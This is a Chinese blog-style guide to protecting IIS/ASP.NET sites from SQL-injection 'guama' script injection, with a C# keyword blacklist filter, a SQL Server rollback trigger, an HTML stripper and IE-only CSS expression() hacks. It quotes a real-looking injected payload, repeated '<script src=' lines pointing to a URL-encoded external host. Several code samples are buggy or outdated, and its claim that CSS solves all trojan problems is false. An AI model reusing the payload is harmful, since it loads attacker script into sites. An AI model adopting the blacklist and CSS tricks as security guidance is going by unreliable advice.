相信大多数朋友都是木马的受害者,网站被注入心情可想而知。而且现在ARP攻击,注入也是轻而易举的事,仅局域网里都时刻面临威胁,哎,什么世道。
挂马无非是通过SQL注入的方式,把那些恶意的代码,如iframe,<script>等注入到网站数据库中表字段内。
以下是本人经过长期的实践,总结出的防止挂马的经验,会从防止挂马的处理和已经被挂马后的处理去叙述。
首先,从防止挂马(防注入)的处理;
主要完成三个方面的工作。
(1)IIS设置去防注入
IIS设置1,有设计网站目录的访问权限和上传权限,指定好哪些目录是可以上传的,哪些是可以访问的,什么角色可以访问。因为,网站有些上传的功能会出现漏洞,直接让黑客上传了一些恶意的动态代码。因此限制好目录权限就相当必要。当然这也和你的网站目录结构的设计是否合理,上传代码是否足够严格也是相关的。上传目录最好加以监控。IIS设置2,通过第三方工具去限制IIS允许的url字符的长度。
例如:http://adv.smg.cn/SmgAdCenter/Index.aspx?test=Delete%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D
出现这样的URL形式(SQL注入)指定url的长度,即字节数也就非常必要。
(2)代码编写去防注入
代码去防的代码网上可以搜索到很多,主要原理是在页面跳转的时候HTTP监听(无论是POST方法Form表单提交还是GET方法传递参数时候),都去遍历所有参数,搜索哪些严重具备恶意隐患的字符,加以处理,抛出Exception。以下是本人收集的(以|号分隔),如有不全请补充。
/x3B|--|%2b|0x|@|@@|exec|drop|insert|create|select|delete|update|varchar|chr|mid|master.|truncate|declare|rtrim|sEt|dEcLaRe|extendedproc|<|>|<script|cscript|wscript|xp_|cmd.exe|'|%20|&|;|$|/'|<>|()|+|CR|LF|,
示例代码如下:
#region SQL注入式攻击代码分析
/// <summary>
/// 处理用户提交的请求
/// </summary>
public static void StartProcessRequest()
{ //每个页面都要加
try
{
string getkeys = "";
string sqlErrorPage = System.Configuration.ConfigurationSettings.AppSettings["CustomErrorPage"].ToString();
if (System.Web.HttpContext.Current.Request.QueryString != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))//调用ProcessSqlStr
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage + "?errmsg=sqlserver&sqlprocess=true");
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage + "?errmsg=sqlserver&sqlprocess=true");
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{
// 错误处理: 处理用户提交信息!
}
}
/// <summary>
/// 分析用户请求是否正常
/// </summary>
/// <param name="Str">传入用户提交数据</param>
/// <returns>返回是否含有SQL注入式攻击代码</returns>
private static bool ProcessSqlStr(string Str)
{ //指定要剔除的字符
bool ReturnValue = true;
try
{
if (Str != "")
{
string SqlStr = "/x3B|--|%2b|0x|@|@@|exec|drop|insert|create|select|delete|update|varchar|chr|mid|master.|truncate|declare|rtrim|sEt|dEcLaRe|extendedproc|<|>|<script|cscript|wscript|xp_|cmd.exe|'|%20|&|;|$|/'|<>|()|+|CR|LF|,";
string[] anySqlStr = SqlStr.Split('|');
foreach (string ss in anySqlStr)
{
if (Str.Contains(ss) == true)
{
ReturnValue = false;
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}
#endregion
(3)SQL数据库去防注入
SQL方式主要是用SQL触发器。此安全触发器主要工作就是在往数据表中增改时候触发,去判断写入表字段的代码中是否有恶意的代码和脚本,一经发现就不去执行增改操作,事务回滚。并请对网站中每个表都应用此触发器。
示例如下:
set ANSI_NULLS ON
set QUOTED_IDENTIFIER ON
go
CREATE TRIGGER [dnt_adminvisitlog_AntiSqlScripts] ON [dbo].[dnt_adminvisitlog]
for UPDATE
AS
declare @username nvarchar(20), -----更新字段名1################
@grouptitle nvarchar(50), -----更新字段名2################
@str varchar(500), -----脚本字符串变量
@flag int, -----标志位
@recordID int -----更新表的唯一ID
set @flag=0
select @recordID=visitid from inserted ----从更新行选择ID
select @username=username,@grouptitle=grouptitle from dnt_adminvisitlog where visitid=@recordID
----从表中选择更新后的字段值
DECLARE in_Script_cursor CURSOR
FOR
SELECT [str]
FROM tbl_Scripts
OPEN in_Script_cursor
-- Perform the first fetch.
FETCH NEXT FROM in_Script_cursor INTO @str
WHILE @@FETCH_STATUS = 0
BEGIN
--挂马字段判断
begin
if charindex(lower(@str),lower(@username))>0 ---判断字段1里有没有挂马脚本#############
begin
set @flag=1
end
if charindex(lower(@str),lower(@grouptitle))>0 ---判断字段2里有没有挂马脚本############
begin
set @flag=1
end
end
FETCH NEXT FROM in_Script_cursor INTO @str
END
CLOSE in_Script_cursor
DEALLOCATE in_Script_cursor
--如果存在挂马脚本,回滚,不更新
if @flag=1
begin
rollback tran
end
其次,已经被挂马(防注入)后的处理;
要是中招了,那怎么办呢?我的处理分成以下部分;
(1)代码屏蔽;
即在输出的变量之前对其进行判断,清楚HTML或SCRIPT,这种方式比较暴力,属于宁可错杀一千不可放过一个的。C#示例代码如下:
public static string NoHTML(string Htmlstring)
{
//删除脚本
Htmlstring = Regex.Replace(Htmlstring, @"<script[^>]*?>.*?</script>", "", RegexOptions.IgnoreCase);
//删除HTML
Htmlstring = Regex.Replace(Htmlstring, @"<(.[^>]*)>", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"([/r/n])[/s]+", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"-->", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"<!--.*", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(quot|#34);", "/"", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(amp|#38);", "&", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(lt|#60);", "<", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(gt|#62);", ">", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(nbsp|#160);", " ", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(iexcl|#161);", "/xa1", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(cent|#162);", "/xa2", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(pound|#163);", "/xa3", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(copy|#169);", "/xa9", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&#(/d+);", "", RegexOptions.IgnoreCase);
Htmlstring.Replace("<", "");
Htmlstring.Replace(">", "");
Htmlstring.Replace("/r/n", "");
Htmlstring = HttpContext.Current.Server.HtmlEncode(Htmlstring).Trim();
return Htmlstring;
}
还有的方法就比较温和,比较有针对性。
用CSS防iframe,销毁网页里所有的iframe对象
<style type="text/css">
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
</style>
如果要使自己的iframe显示在网页里,而别人挂的IFRAME马都不起作用,在CSS里加一个
#f126{v:expression() !important}
<iframe id="f126" name="f126" src="http://www.126.com/"></iframe>
以上方法只是停止了iframe的请求并销毁了它本身,但以后的挂马方式改变了,例如改成<script></script>方式挂,就不能用这种方法来解决了;此这个方法不是最终的解决案,最终的解决方案是找出真正被挂IFRAME的原因,堵住源头。
解决script(附带解决iframe)挂马最佳方案
以下地址含有木马,请不要轻易访问,中标可不要怪我:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
一连插入了N个一样的<script>标记,有时大小写也不一,真头疼啊~~~
script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。
解决1:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
缺点:访客无法看到被感染了<script>木马的页面。
解决2:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。
解决3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。
解决4:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。
解决5:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}
第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
结束总结
综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。
引申出来的问题。
有些时候网站中必须引用到外域的JS怎么办呢??????
比如:我的网站中要引用Discuz论坛的帖子或者最新帖子等,这些引用方式都是以<script>方式去引用外域的,怎么办怎么办呢?
遇到这种情况,目前我没有找到100%的解决方法。这么说吧,代码编写合理,再做好先前的三步防护工作基本上应该是不会有安全问题(目前没遇到)。
为了以防万一,本人专门制作了一个程序,清除SQL中被注入的恶意代码。原理很简单,就是遍历所有表发现一个恶意代码就替换成空,对整个DB刷一遍。这种方式是被动的。就是说一定要中了毒,找出那段恶意代码来,输入恶意代码库,让程序去匹配去定点清除。还好至今没有用到过。